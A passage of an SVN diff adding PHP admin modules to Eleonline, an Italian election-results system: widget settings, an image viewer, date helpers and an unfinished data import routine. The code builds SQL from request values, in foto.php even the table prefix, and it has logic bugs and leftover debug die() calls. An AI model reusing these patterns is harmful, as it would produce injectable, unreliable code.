+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo gruppo                                                        */
+/* Amministrazione                                                      */
+/************************************************************************/
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+// Offset - visualizza il numero di elementi per pagina
+$offset=5;
+
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$currentlang=$_SESSION['lang'];
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+$id_cons_gen=$param['id_cons_gen'];	
+$perms=ChiSei($id_cons_gen);
+if ($perms<32) die("Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+
+$id_comune=$_SESSION['id_comune'];
+$res = mysql_query("SELECT t1.tipo_cons,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune' " , $dbi);
+list($tipo_cons,$id_cons) = mysql_fetch_row($res);
+
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+
+if (isset($param['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']); else $do='';
+if (isset($param['min'])) $min=intval($param['min']); else $min=0;
+if (isset($param['ok'])) get_magic_quotes_gpc() ? $ok=$param['ok']:$ok=addslashes($param['ok']); else $ok='';
+if (isset($param['idw'])) $idw=intval($param['idw']); else $idw='';
+if (isset($param['nome_file'])) get_magic_quotes_gpc() ? 
+$nome_file=$param['nome_file']:$nome_file=addslashes($param['nome_file']); else $nome_file='';
+if (isset($param['titolo'])) get_magic_quotes_gpc() ? 
+$titolo=$param['titolo']:$titolo=addslashes($param['titolo']); else $titolo='';
+if (isset($param['pos_or'])) $pos_or=intval($param['pos_or']); else $pos_or='';
+if (isset($param['pos_ver'])) $pos_ver=intval($param['pos_ver']); else $pos_ver='';
+if (isset($param['attivo'])) $attivo=intval($param['attivo']); else $attivo='';
+
+
+############# controllo dei widget
+        make_db_widget(); // crea tabella se non esiste
+    $tlist='';
+	$path = "../client/modules/Elezioni/blocchi";
+	$handle=opendir($path);
+    	while ($file = readdir($handle)) {
+		   $tlist .= "$file ";
+   	}
+
+    	closedir($handle);
+    	$tlist = explode(" ", $tlist);
+    	sort($tlist);
+
+    	for ($i=0; $i < sizeof($tlist); $i++) {
+		$ext = substr($tlist[$i], strrpos( $tlist[$i], '.' ) + 1 );
+
+		if($ext=="php"){ // verifica estensione php	
+		    $files=$tlist[$i];
+		   
+		    $sql = mysql_query("SELECT id FROM ".$prefix."_ele_widget where nome_file='$files'", $dbi);
+		    list($idwid) = mysql_fetch_row($sql);
+		    $id = intval($idwid);
+
+
+		    if (empty($id)) { // inserisce widget db se non esiste
+			$result = mysql_query("insert into ".$prefix."_ele_widget (id,nome_file,titolo,pos_or,pos_ver, attivo) values ( NULL,'$files', '$files','1','','0')", $dbi);
+	          }
+		  
+		  
+
+
+
+
+	
+		}   
+
+	}
+ 
+		  # se non esiste cancella dal db
+		  $sql2 = mysql_query("SELECT * FROM ".$prefix."_ele_widget", $dbi);
+		  while ($row = mysql_fetch_array($sql2)) {
+			$esi=0;
+			for ($i=0; $i < sizeof($tlist); $i++) {
+			      $files=$tlist[$i];
+			      if($row['nome_file']==$files) $esi=1;
+			}
+			if($esi!=1){
+			      $del=mysql_query("DELETE FROM ".$prefix."_ele_widget WHERE id = '$row[id]'",$dbi);
+		      }
+		}
+
+
+
+/******************************************************/
+/*Funzione di visualizzazione globale                 */
+/*****************************************************/
+	function all() {
+   		global $tipo_cons,$param,$currentlang, $bgcolor1, $bgcolor2, $prefix, $prefix2, $dbi, $offset, $min, $id_cons,$id_cons_gen,$id_comune,$do,$tema;
+
+	
+	$result = mysql_query("SELECT * FROM ".$prefix."_ele_widget order by pos_or,pos_ver asc", $dbi);
+	
+	
+
+
+	
+	echo "<br><table border=\"0\" width=\"100%\">";
+	echo "<tr bgcolor=\"$bgcolor2\"><td align=\"center\"><b>"._CONFIGWIDGET."</b></td></tr></table>";
+	
+	while ($row = mysql_fetch_array($result)) {
+	    echo "<form name=\"widget\" enctype=\"multipart/form-data\" method=\"post\" action=\"admin.php\">";
+	    echo "<input type=\"hidden\" name=\"do\" value=\"update\">";
+	    echo "<input type=\"hidden\" name=\"op\" value=\"widget\">";
+	    echo "<table style=\"border:0.5px solid; width:100%;\"><tr >";
+	    $idw = intval($row['id']);
+	    echo "<input type=\"hidden\" name=\"idw\" value=\"$idw\">";
+	    $titolo=$row['titolo'];
+	    $nome_file=$row['nome_file'];
+	    $pos_or = intval($row['pos_or']);
+	    $pos_ver = intval($row['pos_ver']);
+	    $attivo = intval($row['attivo']);
+	    echo "<td><b> Titolo:</b> <input type=\"text\" name=\"titolo\" value=\"".$titolo."\"></td><td>";
+	    $sel= ($row['pos_or']==1) ? "selected":"";
+	    echo "<b>Posizione :</b><select name=\"pos_or\"><option value=\"0\">Sx<option value=\"1\" $sel>Dx</select>
+	    </td><td>
+	    
+	    <b>Altezza :</b><input type=\"text\" size=\"4\" name=\"pos_ver\" value=\"".$pos_ver."\"></td><td>";
+	    echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+	   
+	    
+	    
+	    $sel= ($row['attivo']==1) ? "selected":"";
+	    echo "<b>"._ATTIVO."</b></td><td><select name=\"attivo\"><option value=\"0\">No<option value=\"1\" $sel>Si</select></td>";
+	    echo "<td><input type=\"submit\" name=\"add\" value=\""._MODIFY."\"></td>";
+	    echo "</tr></table>";
+	    echo "</form>";
+
+
+	} // while
+	
+	
+	
+
+	}
+
+//***********************************************************
+//Funzione di inserimento e gestione dei gruppi
+//************************************************************
+
+function confcons() {
+	
+	global $id_cons_gen, $prefix, $dbi,$idw,$titolo,$pos_or,$pos_ver,$attivo;
+	
+	
+	$aid=$_SESSION['aid'];
+	$perms=ChiSei($id_cons_gen);
+	if ($perms >128) {
+				
+		$result = mysql_query("update  ".$prefix."_ele_widget set titolo='$titolo', pos_or='$pos_or', pos_ver='$pos_ver', attivo='$attivo' where id='$idw'", $dbi) || die("Errore di aggiornamento dei dati!".mysql_error());
+
+		Header("Location: admin.php?id_cons_gen=$id_cons_gen&op=widget");
+
+	}
+}
+
+if ($do and $do="modify")
+	confcons();
+
+ele();
+
+all();
+echo"</td></tr></table>";
+include("footer.php");
+
+//*********************************************************************
+//Funzione crea db se non esiste
+//**********************************************************************
+
+function make_db_widget(){
+global $dbi,$prefix;
+$result = mysql_query("CREATE TABLE IF NOT EXISTS ".$prefix."_ele_widget (
+  `id` int(10) NOT NULL auto_increment,
+  `nome_file` varchar(255) NOT NULL default '',
+  `titolo` varchar(255) NOT NULL default '',
+  `pos_or` int(1) NOT NULL default '1',
+  `pos_ver` int(3) NOT NULL default '0',
+ `attivo` int(1) NOT NULL default '0',
+  PRIMARY KEY  (`id`)
+)",$dbi);
+
+
+}
+
+
+?>
+
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/foto.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/foto.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/foto.php	(revision 44)
@@ -0,0 +1,59 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo visualizzazione immagini blob                                 */
+/* Amministrazione                                                      */
+/************************************************************************/
+
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+//session_start();
+$aid=$_SESSION['aid'];
+if (!$aid) return;
+
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+
+if (isset($param['id_lista'])) $id_lista=intval($param['id_lista']); else $id_lista='';
+if (isset($param['id_gruppo'])) $id_gruppo=intval($param['id_gruppo']); else $id_gruppo='';
+if (isset($param['id_sede'])) $id_sede=intval($param['id_sede']); else $id_sede='';
+if (isset($param['id_comune'])) $id_comune2=intval($param['id_comune']); else $id_comune2='';
+if (isset($param['prefix'])) $prefix=$param['prefix'];
+
+
+
+if ($id_lista){
+	$sql = "select stemma from ".$prefix."_ele_lista where id_lista=".$id_lista;
+	$res = mysql_query($sql,$dbi);
+	list($stemma) = mysql_fetch_row($res);
+}elseif ($id_gruppo){
+	$sql = "select stemma from ".$prefix."_ele_gruppo where id_gruppo=".$id_gruppo;
+	$res = mysql_query($sql,$dbi);
+	list($stemma) = mysql_fetch_row($res);
+}elseif ($id_sede){
+	$sql = "select mappa from ".$prefix."_ele_sede where id_sede=".$id_sede;
+	$res = mysql_query($sql,$dbi);
+	list($stemma) = mysql_fetch_row($res);
+}elseif ($id_comune2){
+	$sql = "select stemma from ".$prefix."_ele_comuni where id_comune=".$id_comune2;
+	$res = mysql_query($sql,$dbi);
+	list($stemma) = mysql_fetch_row($res);
+}else{
+return;
+}
+
+
+// nessuno stemma immagine vuota
+if ($stemma==""){ 
+
+$sql = "select stemma from ".$prefix."_ele_conf where id_com='0'";
+$res = mysql_query($sql,$dbi);
+$dati = mysql_fetch_array($res);
+$stemma = $dati['stemma'];
+}
+echo $stemma;
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/funzionidata.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/funzionidata.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/funzionidata.php	(revision 44)
@@ -0,0 +1,95 @@
+<?php
+// *****************************************************************************************************************************
+// Funzioni formattazione data e altro
+// *****************************************************************************************************************************
+
+
+function giorno($min,$max)
+{
+$giorno='';
+if(!$min) $min='01';
+if(!$max) $max='31';
+$giorni=array();
+for($x=$min;$x<=$max;$x++) $giorni[]=$x;
+#$giorni= array('01','02','03','04','05','06','07','08','09','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25','26','27','28','29','30','31');
+foreach($giorni as $gi)
+	$giorno .= "<option value=$gi>$gi</option>";
+$giorno .= "</select>";
+echo "$giorno";
+}
+
+
+function mese()
+{
+$mese='';
+$mesi= array('01','02','03','04','05','06','07','08','09','10','11','12');
+foreach($mesi as $me)
+ 	$mese .= "<option value=$me>$me </option>";
+$mese .= "</select>";
+echo "$mese";
+}
+
+function anno()
+{
+$anno ='';
+$curr=date("Y",time());
+$curr++;
+$anni=array($curr--,$curr--,$curr--,$curr--,$curr--,$curr--,$curr--,$curr--,$curr--);
+foreach($anni as $an)
+	$anno .= "<option value=$an>$an</option>";
+$anno .= "</select>";
+echo "$anno";
+}
+
+function ore($min,$max)
+{
+$ora='';
+$ore= array('00','01','02','03','04','05','06','07','08','09','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24');
+foreach($ore as $ori)
+	$ora .= "<option value=$ori>$ori</option>";
+$ora .= "</select>";
+echo "$ora";
+}
+
+
+function minuti()
+{
+$minuto='';
+$minuti= array('00','01','02','03','04','05','06','07','08','09','10','11','12','13','14',
+'15', '16', '17', '18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33',
+'34','35','36','37','38','39','40','41','42','43','44','45','46','47','48','49','50',
+'51','52','53','54','55','56','57','58','59');
+foreach($minuti as $minu)
+ 	$minuto .= "<option value=$minu>$minu </option>";
+$minuto .= "</select>";
+echo "$minuto";
+}
+
+function secondi()
+{
+$secondo='';
+$secondi= array('00','01','02','03','04','05','06','07','08','09','10','11','12','13','14',
+'15', '16', '17', '18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33',
+'34','35','36','37','38','39','40','41','42','43','44','45','46','47','48','49','50',
+'51','52','53','54','55','56','57','58','59');
+foreach($secondi as $sec)
+	$secondo .= "<option value=$sec>$sec</option>";
+$secondo .= "</select>";
+echo "$secondo";
+}
+
+
+
+function form_data($data)
+
+	{
+        list($anno,$mese,$giorno) = explode("-", $data) ;
+        if ($giorno>0)
+               return("$giorno-$mese-$anno");
+        else
+               return("&nbsp; ");
+        }
+
+	
+
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/importa (copia).php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/importa (copia).php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/importa (copia).php	(revision 44)
@@ -0,0 +1,202 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo Inserimento dati                                              */
+/* Amministrazione                                                      */
+/************************************************************************/
+
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+$perms=ChiSei(0);
+if ($perms<32) die("Non hai i permessi per effettuare questa operazione!");
+
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+$id_cons_gen=intval($param['id_cons_gen']);
+if (isset($param['datafile'])) get_magic_quotes_gpc() ? $datafile=$param['datafile']:$datafile=addslashes($param['datafile']); else $datafile='';
+include("modules/Elezioni/ele.php");
+ele();
+$res = mysql_query("SELECT t1.id_cons, t2.descrizione FROM ".$prefix."_ele_cons_comune as t1 left join ".$prefix."_ele_consultazione as t2 on t1.id_cons_gen=t2.id_cons_gen where t1.id_comune='$id_comune' " , $dbi);
+list($id_cons,$descrizione) = mysql_fetch_row($res);
+ if (!is_uploaded_file($_FILES['datafile']['tmp_name'])) 
+	{
+	echo "<form name=\"importa\" enctype=\"multipart/form-data\" method=\"post\" action=\"admin.php\" >"
+	."<input type=\"hidden\" name=\"op\" value=\"importa\">";
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+	echo "<input type=\"hidden\" name=\"id_comune\" value=\"$id_comune\">";
+	echo "<table cellspacing=\"0\" cellpadding=\"2\" border=\"1\"><tr class=\"bggray\"><td colspan=\"2\" align=\"center\">"._SEL_DATA_FILE2."</td></tr><tr><td><input name=\"datafile\" type=\"file\"></td>";
+	echo "<td align=\"center\"><input type=\"submit\" name=\"add\" value=\""._OK."\"></td></tr></table></form>";
+////////////////////////////
+}else{$datafile=$_FILES['datafile']['tmp_name'];
+$arrFile = file($datafile);
+$handle = fopen($datafile, "r");
+$test=array();
+$errore=0;
+
+// Set counters
+    $currentLine = 0;
+    $cntFile = count($arrFile);
+//    $res_comune = mysql_query("delete from ".$prefix."_ele_lista where id_cons='10'" ,$dbi); if(!$res_comune) echo "delete ".$prefix."_ele_lista where id_cons='10'--- errore di cancellazione".mysql_error();
+// Write contents, inserting $item as first item
+$tabs=array($prefix."_ele_gruppo",$prefix."_ele_lista",$prefix."_ele_candidati");
+$x=0;$k=0;
+$scarto=0;
+$conta=array();
+/*    while( $currentLine <= $cntFile ){
+	$appo=substr($arrFile[$currentLine],1,-2);
+	$conta[$x]=0;
+	$conf=$tabs[$x];
+#	die(substr($arrFile[$currentLine],1,-2)."==$conf and $currentLine <= $cntFile");
+if($k==0) {while (substr($arrFile[$currentLine],1,-2)!=$conf and $currentLine <= $cntFile) $currentLine++; $k++;}
+	if ($appo==$conf){
+		$currentLine++;
+		while($currentLine <= $cntFile ){
+			$appo=substr($arrFile[$currentLine],1,-2);
+			if ($appo==$tabs[($x+1)]){ $x++; break;}
+			$conta[$x]++;
+			$currentLine++;
+		}
+	}else {$scarto++;$currentLine++;} 
+	}
+#if ($scarto==0){    */
+   $currentLine = 0;
+	$x=0;$k=0;
+	$y=0;
+$ar_gruppo=array(array());
+$ar_lista=array(array());
+$ar_candi=array(array());
+#    while( $currentLine  <= $cntFile ){
+		$z=0;
+		$tab=substr($arrFile[$currentLine],1,-2);
+		$conf=$tabs[$x];
+if($k==0) {while (substr($arrFile[$currentLine],1,-2)!=$conf and $currentLine <= $cntFile) $currentLine++; $k++;}
+#		die("qui arriva $currentLine  <= $cntFile  $conf=".$tabs[$x]);
+#		if ($tab==$conf){
+			$currentLine++;
+			while($currentLine <= $cntFile ){
+				$appo=substr($arrFile[$currentLine],1,-2);
+#				if ($appo==$prefix."_ele_circoscrizione"){ break;}
+				if ($appo==$tabs[($x+1)]){ $x++;$conf=$tabs[$x];$currentLine++; continue;}
+				$test=explode(':',$arrFile[$currentLine]); if(!is_array($test)) {die("errore di import<br>");}
+#				$valori='';
+				foreach($test as $key=>$val) #echo "$key : $campo ($conf==$prefix._ele_gruppo)"; die();
+						if ($conf==$prefix."_ele_gruppo")
+							$ar_gruppo[$z][$key]=addslashes(base64_decode($val));
+						elseif ($conf==$prefix."_ele_lista"){
+							$ar_lista[$z][$key]=addslashes(base64_decode($val));}
+						elseif ($conf==$prefix."_ele_candidati")
+							$ar_candi[$z][$key]=addslashes(base64_decode($val));
+						elseif ($appo==$prefix."_ele_circoscrizione")
+							{$fine=0;break;}
+			$currentLine++;
+				$z++;
+			}
+#		}
+
+#	}
+#} else $errore=1;
+fclose($handle);
+$idcns=$id_cons; #$ar_gruppo[0][0];
+$res_del = mysql_query("delete from ".$prefix."_ele_voti_candidati where id_cons=$idcns" ,$dbi);
+$res_del = mysql_query("delete from ".$prefix."_ele_voti_lista where id_cons=$idcns" ,$dbi);
+$res_del = mysql_query("delete from ".$prefix."_ele_voti_gruppo where id_cons=$idcns" ,$dbi);
+$res_del = mysql_query("delete from ".$prefix."_ele_candidati where id_cons=$idcns" ,$dbi);
+$res_del = mysql_query("delete from ".$prefix."_ele_lista where id_cons=$idcns" ,$dbi);
+$res_del = mysql_query("delete from ".$prefix."_ele_gruppo where id_cons=$idcns" ,$dbi);
+#unset($valori);
+$sigruppo=count($ar_gruppo);die("sigru:$sigruppo");
+foreach ($ar_gruppo as $rigagruppo){
+	$newidg=0;
+	$oldidg=0;
+	foreach($rigagruppo as $key=>$campo){
+		if ($key==0) $valori="'$idcns',";
+		elseif ($key==1) {$valori.= "null"; $oldidg=$campo;}
+		elseif ($key==6) $valori.= ",0";
+		else $valori.= ",'$campo'";
+		if ($key==2) $numgruppo= $campo;
+	} 
+	if(isset($valori)){
+	$res_gruppo = mysql_query("insert into ".$prefix."_ele_gruppo values($valori)" ,$dbi)||die("(1104) Non e' stato possibile inserire i gruppi nel database! contattare l'amministratore".mysql_error());
+	$resnew = mysql_query("select id_gruppo from ".$prefix."_ele_gruppo where num_gruppo='$numgruppo' and id_cons='$idcns'" ,$dbi);
+	list ($newidg) = mysql_fetch_row($resnew);
+	unset($valori);
+	foreach ($ar_lista as $rigalista){
+		$oldidl=0;
+		foreach($rigalista as $key=>$campo){
+			if ($key==0) $valori="'$idcns',";
+			elseif ($key==1) {$valori.= "null";$oldidl=$campo;}
+			elseif ($key==3) {$valori.= ",'$newidg'"; if ($campo!=$oldidg) $okl=1;}
+			elseif ($key==4) $valori.= ",0"; 
+			else $valori.= ",'$campo'";
+			if ($key==2) $numlista= $campo;
+		}
+		if(isset($valori)){
+		if ($okl) {$okl=0;continue;}
+		$res_lista = mysql_query("insert into ".$prefix."_ele_lista values($valori)" ,$dbi)||die("(1104) Non e' stato possibile inserire le liste nel database! contattare l'amministratore".mysql_error());
+		$reslnew = mysql_query("select id_lista from ".$prefix."_ele_lista where num_lista='$numlista' and id_cons='$idcns'" ,$dbi);
+		list ($newidl) = mysql_fetch_row($reslnew);
+		unset($valori);
+		foreach ($ar_candi as $rigacandi){
+			foreach($rigacandi as $key=>$campo){if (count($rigacandi)!=8) {unset($valori);continue;}
+				if ($key==0) $valori= "null,";
+				elseif ($key==1) $valori.="'$idcns',";
+				elseif ($key==2) {$valori.= "'$newidl'"; if ($campo!=$oldidl) $okc=1;}
+				else $valori.= ",'$campo'";
+			}
+			if(isset($valori)){
+				if ($okc) {$okc=0;continue;}
+				$res_lista = mysql_query("insert into ".$prefix."_ele_candidati values($valori)" ,$dbi)||die("(1104) Non e' stato possibile inserire i candidati nel database! contattare l'amministratore".mysql_error());
+			}
+		}
+		}
+	}
+	}
+}	
+
+/*
+foreach ($ar_gruppo as $rigagruppo){
+	foreach($rigagruppo as $key=>$campo) {
+		if ($key==0) echo "$valori=\"'$idcns',";
+		elseif ($key==1) $valori.= "null";
+		else $valori.= ",'$campo'";
+		if ($key==2) $numgruppo= $campo;
+#
+}	
+		die("$res_gruppo = mysql_query(\"insert into ".$prefix."_ele_gruppo values($valori)\" ,$dbi");
+		$resnew = mysql_query("select id_gruppo from ".$prefix."_ele_gruppo where num_gruppo='$numgruppo' and id_cons='$idcns'" ,$dbi);
+		list ($newidg) = mysql_fetch_row($resnew);
+*/
+########continuare da qui 
+#}
+
+Header("Location: admin.php?op=gruppo&id_cons_gen=$id_cons_gen");
+
+}
+
+if (isset($errore))
+	if ($errore) die( _MEX_IMPORT_FAILED);
+	else  echo _MEX_IMPORT_OK;
+echo"</td></tr></table>";
+include("footer.php");
+#						$valori.= ",'".addslashes(base64_decode($val))."'";
+#					}
+				
+#				$res_comune = mysql_query("insert into $tab values($valori)" ,$dbi);	
+/*					if($key==0){
+#
+						$valori.= "'".base64_decode($val)."'";
+						if ($y==0) {$idcns=$valori;$y++;
+						foreach($tabs as $tbs){
+							$res_del = mysql_query("delete from $tbs where id_cons=$idcns" ,$dbi);
+							}
+						$ar_da[$z][$key]=
+						}
+						if(!$res_del) die ("delete $tbs where id_cons=$idcns--- errore di cancellazione").mysql_error();
+					}else{
+#se gruppo
+*/
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/importa.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/importa.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/importa.php	(revision 44)
@@ -0,0 +1,279 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo Inserimento dati                                              */
+/* Amministrazione                                                      */
+/************************************************************************/
+
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+$perms=ChiSei(0);
+if ($perms<32) die("Non hai i permessi per effettuare questa operazione!");
+
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+$id_cons_gen=intval($param['id_cons_gen']);
+if (isset($param['datafile'])) get_magic_quotes_gpc() ? $datafile=$param['datafile']:$datafile=addslashes($param['datafile']); else $datafile='';
+include("modules/Elezioni/ele.php");
+
+
+function insgruppo()
+{
+global $prefix, $dbi;
+global $ar_gruppo,$ar_lista,$ar_candi,$idcns;
+
+foreach ($ar_gruppo as $rigagruppo){
+	$newidg=0;
+	$oldidg=0;
+	foreach($rigagruppo as $key=>$campo){
+		if ($key==0) $valori="'$idcns',";
+		elseif ($key==1) {$valori.= "null"; $oldidg=$campo;}
+		elseif ($key==6) $valori.= ",0";
+		else $valori.= ",'$campo'";
+		if ($key==2) $numgruppo= $campo;
+	} 
+	if(isset($valori)){
+		$res_gruppo = mysql_query("insert into ".$prefix."_ele_gruppo values($valori)" ,$dbi)||die("(1104) Non e' stato possibile inserire i gruppi nel database! contattare l'amministratore".mysql_error());
+		$resnew = mysql_query("select id_gruppo from ".$prefix."_ele_gruppo where num_gruppo='$numgruppo' and id_cons='$idcns'" ,$dbi);
+		list ($newidg) = mysql_fetch_row($resnew);
+		unset($valori);
+		if($oldidg)
+			$_SESSION['gruppi']['idg_'.$oldidg]=$newidg; 
+#		inslista($oldidg,$newidg);
+	}
+}
+}
+
+function inslista()#$oldidg,$newidg
+{
+global $prefix, $dbi;
+global $ar_lista,$ar_candi,$idcns;
+
+	foreach ($ar_lista as $rigalista){
+		if(!isset($rigalista[3])) continue;
+		$oldidl=0;
+		$okl=0; 
+		$oldidg=$rigalista[3];
+		$newidg=$_SESSION['gruppi']['idg_'.$oldidg];
+		foreach($rigalista as $key=>$campo){
+			if ($key==0) $valori="'$idcns',";
+			elseif ($key==1) {$valori.= "null";$oldidl=$campo;}
+			elseif ($key==3) {$valori.= ",'$newidg'"; if ($campo!=$oldidg) $okl=1;}
+			elseif ($key==4) $valori.= ",0"; 
+			else $valori.= ",'$campo'";
+			if ($key==2) $numlista= $campo;
+		}
+		if(isset($valori)){
+		if ($okl) {$okl=0;continue;}
+		$res_lista = mysql_query("insert into ".$prefix."_ele_lista values($valori)" ,$dbi)||die("(1104) Non e' stato possibile inserire le liste nel database! contattare l'amministratore".mysql_error());
+		$reslnew = mysql_query("select id_lista from ".$prefix."_ele_lista where num_lista='$numlista' and id_cons='$idcns'" ,$dbi);
+		list ($newidl) = mysql_fetch_row($reslnew);
+		unset($valori);
+		if($oldidl)
+			$_SESSION['liste']['idl_'.$oldidl]=$newidl; 
+
+#		inscandi($oldidl,$newidl);
+		}
+}
+}
+
+function inscandi()#$oldidl,$newidl
+{
+global $prefix, $dbi;
+global $ar_candi,$idcns;
+
+		foreach ($ar_candi as $rigacandi){
+			if(!isset($rigacandi[2])) continue;
+			$okc=0;
+			$oldidl=$rigacandi[2];
+			$newidl=$_SESSION['liste']['idl_'.$oldidl];
+			foreach($rigacandi as $key=>$campo){#echo "$key -- $campo<br>";
+				if (count($rigacandi)!=8) {unset($valori);continue;}
+				if ($key==0) $valori= "null,";
+				elseif ($key==1) $valori.="'$idcns',";
+				elseif ($key==2) {$valori.= "'$newidl'"; if ($campo!=$oldidl) $okc=1;}
+				else $valori.= ",'$campo'";
+			}
+			if(isset($valori)){
+				if ($okc) {$okc=0;continue;}
+				$res_lista = mysql_query("insert into ".$prefix."_ele_candidati values($valori)" ,$dbi)||die("(1104) Non e' stato possibile inserire i candidati nel database! contattare l'amministratore".mysql_error());
+			}
+		}
+#foreach($_SESSION['liste'] as $key=>$val) echo "$key -- $val<br>"; 
+}
+
+
+
+
+
+$res = mysql_query("SELECT t1.id_cons, t2.descrizione FROM ".$prefix."_ele_cons_comune as t1 left join ".$prefix."_ele_consultazione as t2 on t1.id_cons_gen=t2.id_cons_gen where t1.id_comune='$id_comune' and t2.id_cons_gen='$id_cons_gen'" , $dbi);
+list($id_cons,$descrizione) = mysql_fetch_row($res);
+ if (!isset($_FILES['datafile']['tmp_name']) or !is_uploaded_file($_FILES['datafile']['tmp_name'])) 
+	{
+	ele();
+	echo "<form name=\"importa\" enctype=\"multipart/form-data\" method=\"post\" action=\"admin.php\" >"
+	."<input type=\"hidden\" name=\"op\" value=\"importa\">";
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+	echo "<input type=\"hidden\" name=\"id_comune\" value=\"$id_comune\">";
+	echo "<table cellspacing=\"0\" cellpadding=\"2\" border=\"1\"><tr class=\"bggray\"><td colspan=\"2\" align=\"center\">"._SEL_DATA_FILE2."</td></tr><tr><td><input name=\"datafile\" type=\"file\"></td>";
+	echo "<td align=\"center\"><input type=\"submit\" name=\"add\" value=\""._OK."\"></td></tr></table></form>";
+////////////////////////////
+}else{
+$idcns=$id_cons; 
+$res_del = mysql_query("delete from ".$prefix."_ele_voti_ref where id_cons=$idcns" ,$dbi);
+$res_del = mysql_query("delete from ".$prefix."_ele_voti_candidati where id_cons=$idcns" ,$dbi);
+$res_del = mysql_query("delete from ".$prefix."_ele_voti_lista where id_cons=$idcns" ,$dbi);
+$res_del = mysql_query("delete from ".$prefix."_ele_voti_gruppo where id_cons=$idcns" ,$dbi);
+$res_del = mysql_query("update ".$prefix."_ele_sezioni set validi='0', contestati='0', validi_lista='0', nulli='0',bianchi='0',contestati_lista='0', voti_nulli_lista='0'  where id_cons=$idcns" ,$dbi);
+$res_del = mysql_query("delete from ".$prefix."_ele_voti_parziale where id_cons=$idcns" ,$dbi);
+$res_del = mysql_query("delete from ".$prefix."_ele_candidati where id_cons=$idcns" ,$dbi);
+$res_del = mysql_query("delete from ".$prefix."_ele_lista where id_cons=$idcns" ,$dbi);
+$res_del = mysql_query("delete from ".$prefix."_ele_gruppo where id_cons=$idcns" ,$dbi);
+$datafile=$_FILES['datafile']['tmp_name'];
+$arrFile = file($datafile);
+$handle = fopen($datafile, "r");
+$test=array();
+$errore=0;
+$fine=0;
+// Set counters
+    $currentLine = 0;
+    $cntFile = count($arrFile);
+$tabs=array($prefix."_ele_gruppo",$prefix."_ele_lista",$prefix."_ele_candidati",$prefix."_ele_circoscrizione");
+$x=0;$k=0;
+$scarto=0;
+$primog=0;
+$primol=0;
+$conta=array();
+   $currentLine = 0;
+	$x=0;$k=0;
+	$y=0;
+$ar_gruppo=array(array());
+$ar_lista=array(array());
+$ar_candi=array(array());
+		$z=0;
+		$tab=substr($arrFile[$currentLine],1,-2);
+		$conf=$tabs[$x];
+if($k==0) {while (substr($arrFile[$currentLine],1,-2)!=$conf and $currentLine <= $cntFile) $currentLine++; $k++;}
+			$currentLine++;
+			while($currentLine <= $cntFile and $fine==0){
+#				$appo=substr($arrFile[$currentLine],1,-2);
+				if(isset($arrFile[$currentLine])) 
+					$appo=substr($arrFile[$currentLine],1,-2);
+				else $appo='';
+				if (isset($tabs[($x+1)]) and $appo==$tabs[($x+1)]){ $x++;$conf=$tabs[$x];$currentLine++; continue;}
+				$test=explode(':',$appo); if(!is_array($test)) {die("errore di import<br>");}
+				foreach($test as $key=>$val) 
+						if ($conf==$prefix."_ele_gruppo")
+							$ar_gruppo[$z][$key]=addslashes(base64_decode($val));
+						elseif ($conf==$prefix."_ele_lista"){
+							if($primog==0){
+								$gruppofil= array_filter($ar_gruppo);
+								$numgruppo=count($gruppofil);
+								insgruppo();
+								$primog=1;
